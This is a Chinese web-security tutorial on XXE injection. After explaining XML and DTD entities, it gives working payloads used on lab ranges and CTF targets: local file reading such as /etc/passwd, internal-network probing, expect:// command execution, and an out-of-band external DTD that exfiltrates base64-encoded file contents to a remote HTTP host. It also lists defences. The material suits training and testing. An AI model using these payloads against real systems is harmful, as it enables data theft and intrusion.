39 WEB漏洞-XXE&XML之利用检测绕过全解

目录

文章分享:https://www.cnblogs.com/zhengna/p/15740341.html

XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。XXE漏洞全称XML External Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。危害有点类似于ssrf漏洞的危害

XML与HTML的主要差异

XML 被设计为传输和存储数据,其焦点是数据的内容。

HTML 被设计用来显示数据,其焦点是数据的外观。

HTML 旨在显示信息,而 XML 旨在传输信息。

bash 复制代码
<!--XML声明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)>     <!--定义to元素为"#PCDATA"类型-->
<!ELEMENT from (#PCDATA)>   <!--定义from元素为"#PCDATA"类型-->
<!ELEMENT head (#PCDATA)>   <!--定义head元素为"#PCDATA"类型-->
<!ELEMENT body (#PCDATA)>   <!--定义body元素为"#PCDATA"类型-->
]]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

#DTD

文档类型定义(DTD)可定义合法的XML文档构建模块

它使用一系列合法的元素来定义文档的结构

DTD可被成行地声明于 XML 文档中,也可作为一个外部引用

(1)内部的 DOCTYPE声明

(2)外部文档声明

#DTD实体

(1)内部实体声明
<!ENTITY 实体名称 "实体的值">

(2)外部实体声明
<!ENTITY 实体名称 SYSTEM "URI">

(3)参数实体声明
<!ENTITY %实体名称 "实体的值"> <!ENTITY %实体名称 SYSTEM "URI">

涉及案例

pikachu靶场xml数据传输测试-回显、玩法、协议、引入

玩法-读文件

bash 复制代码
<?xml version = "1.0"?>
<!DOCTYPE ANY [
    <!ENTITY xxe SYSTEM "file:///d://test.txt">
]>
<x>&xxe;</x>

玩法-内网探针或攻击内网应用(触发漏洞地址)

bash 复制代码
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo {
<!ELEMENT foo ANY >
<!ENTITY rabbit SYSTEM "http://192.168.0.103:8081/index.txt"
>
]>
<x>&rabbit;</x>

玩法-RCE

该CASE是在安装expect扩展的PHP环境里执行系统命令

bash 复制代码
<?xml version = "1.0"?>
<!DOCTYPE ANY [
     <!ENTITY xxe SYSTEM "expect://id">
]>
<x>&xxe;</x>

实战情况下,这种情况很难碰到,不能去执行命令

引入外部实体dtd

bash 复制代码
<?xml version="1.0" ?>
<!DOCTYPE test [
     <!ENTITY % file SYSTEM "http://127.0.0.1:8081/evil2.dtd">
     %file;
]>
<x>&send;</x>
evil2.dtd:
<!ENTITY send SYSTEM "file:///d:/test.txt">

对方允许外部实体,那么它就可以去调用远程的实体去执行相关的攻击代码,这种类似于,我们在讲文件包含的时候,本地包含,远程包含的一个概念,这种引用外部实体dtd文件,其实就类似于远程包含漏洞的原理

自定义的攻击代码,为了绕过一些远程防御的代码,因为对方有检测有防御软件的话,他会去跟踪用户行为,发现你正在对这个文件进行读取,他会拦截,或者在代码中分析到有关键的协议名,或者是观念的东西,可能会有拦截,这种时候就把你的核心代码放在上面,这个payload远程去请求并执行核心代码

应用场景在于绕过和进行自定义攻击,要攻击的时候,改dtd文件就可以了

无回显-读取文件

bash 复制代码
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY %file SYSTEM "php://filter/read=convert.base64-encode/resource=d:/test.txt">
<!ENTITY %dtd SYSTEM "http://192.168.0.103:8081/test.dtd">
%dtd;
%send;
]>

test.dtd:
<!ENTITY % payload
    "<!ENTITY &#x25; send SYSTEM 'http://192.168.0.103:8081/?data=%file;'>"
>
%payload;

没有回显,我们就不知道你读的内容,那这个攻击就没有什么意义了

file变量读取指定内容,读到之后会复制给file,执行dtd里面的代码

协议-读文件(绕过)

bash 复制代码
<?xml version = "1.0"?>
<!DOCTYPE ANY [ <!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php">
]>
<x>&f;</x>

网上有很多字典关于xxe攻击的payload

xxe-lab靶场登陆框xml数据传输测试-检测发现

1.提交的数据包含XML格式如:

admin

2.请求头中如:

bash 复制代码
Content-Type: text/xml或Content-type:application/xml

<?xml version="1.0"?>
<!DOCTYPE Mikasa [
<!ENTITY test SYSTEM "file:///d:/test.txt">
]>
<user><username>&test;</username><password>Mikasa</password><
/user>

xxe扫描工具网上也有,但是效果我没有尝试

主要是通过爬行的数据包,用BP抓包,并且在bp上面有爬行数据包的功能,我们可以让bp帮我们爬取整个网站,把地址请求都爬一遍,爬完之后,可以在每个数据包里面进行批量搜索,搜索Content-Type值的判断,如果在这个数值里面,发现有text/xml或者application/xml,表示后面接上的数据,都是xml的格式语言的数据传递,这个时候是符合xml语言的接收,这个时候就能够进行尝试漏洞

根据传输数据的格式,这个格式的写法就是典型的xml语言代码的写法

盲猜,没有并不代表接收,他可能在代码当中是正常显示,只是说这个数据包没有正常显示,这个时候你就能够去尝试更改类型,更改为text/xml或着application/xml其中的一种,再把攻击语句写到数据那里,实现对它测试有没有xxe漏洞,这就是根据人工方法去测试有没有漏洞,是否存在的常规操作

对网站进行爬取

这种写法就是典型的xml写法,他是符合测试xxe漏洞存在的,这个时候,我们对它进行攻击,直接把payload复制上去就可以了

找到符合漏洞存在的数据包,我们在提交数据这里,提交自身的payload进行攻击

他这种提交数据给到上面之后,他的数据传输形式采用的是json的形式提交的,这种就是盲猜了,猜你有没有,我们直接修改Content-Type类型,因为数据包你不修改这个类型的话,传输数据的时候,这个写法就不识别了

CTF-Jarvis-OJ-Web-XXE安全真题复现-数据请求格式

http://web.jarvisoj.com:9882/

更改请求数据格式:application/xml

bash 复制代码
<?xml version = "1.0"?>
<!DOCTYPE ANY [
     <!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>

把数据格式换成payload的格式,之前讲的方法是先判断他符不符合xml的格式,符合,我们在确定他有没有这个漏洞,所以这两个概念是不一样的

更改数据包来实现xxe漏洞的盲猜

xxe安全漏洞自动化注射脚本工具-XXEinjector(Ruby)

XXEinjector使用方法:https://www.cnblogs.com/bmjoker/p/9614990.html

XXEinjector检测工具:https://github.com/enjoiz/XXEinjector

https://www.cnblogs.com/bmjokex/p/9614990.html

xxe_payload_fuzz

从发现目标地址到目标的资产收集,对目标的资产信息进行攻击,找到对应的漏洞来实现一步步的操作

CTF-Vulnhub-XXE安全真题复现-检测,利用,拓展,实战

扫描IP及端口->扫描探针目录->抓包探针xxe安全->利用xxe读取源码->flag指向文件->base32 64解套->php运行->flag

bash 复制代码
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT Y ANY >
<!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>
<root><name>&sp;</name><password>hj</password></root>

靶机综合难度来说还是有一些的,他不会像发现漏洞、利用漏洞就完了,他中间会给你绕一下

xxe漏洞修复与防御方案-php,java,python-过滤及禁用

#方案1-禁用外部实体

PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf=DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);

Python:

from Ixml import etreexmlData =etree.parse(xmlsource,etree,XMLParser(resolve _entities=False))

#方案2-过滤用户提的XML数据

过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC

XXE漏洞产生的根本原因就是网站有接收xml数据,xml其实就是语言,网站有接收xml的数据,但是它没有进行过滤,所以我们可以让他接收xml的一些代码,这个代码就是执行文件读取这个操作的,他其实从我们讲的注入里面,json注入,反序列化,都是一种数据的格式问题

相关推荐
ZJ_.7 分钟前
WPSJS:让 WPS 办公与 JavaScript 完美联动
开发语言·前端·javascript·vscode·ecmascript·wps
GIS开发特训营11 分钟前
Vue零基础教程|从前端框架到GIS开发系列课程(七)响应式系统介绍
前端·vue.js·前端框架·gis开发·webgis·三维gis
Cachel wood37 分钟前
python round四舍五入和decimal库精确四舍五入
java·linux·前端·数据库·vue.js·python·前端框架
学代码的小前端38 分钟前
0基础学前端-----CSS DAY9
前端·css
joan_8542 分钟前
layui表格templet图片渲染--模板字符串和字符串拼接
前端·javascript·layui
m0_748236111 小时前
Calcite Web 项目常见问题解决方案
开发语言·前端·rust
Watermelo6171 小时前
详解js柯里化原理及用法,探究柯里化在Redux Selector 的场景模拟、构建复杂的数据流管道、优化深度嵌套函数中的精妙应用
开发语言·前端·javascript·算法·数据挖掘·数据分析·ecmascript
m0_748248941 小时前
HTML5系列(11)-- Web 无障碍开发指南
前端·html·html5
m0_748235612 小时前
从零开始学前端之HTML(三)
前端·html
一个处女座的程序猿O(∩_∩)O4 小时前
小型 Vue 项目,该不该用 Pinia 、Vuex呢?
前端·javascript·vue.js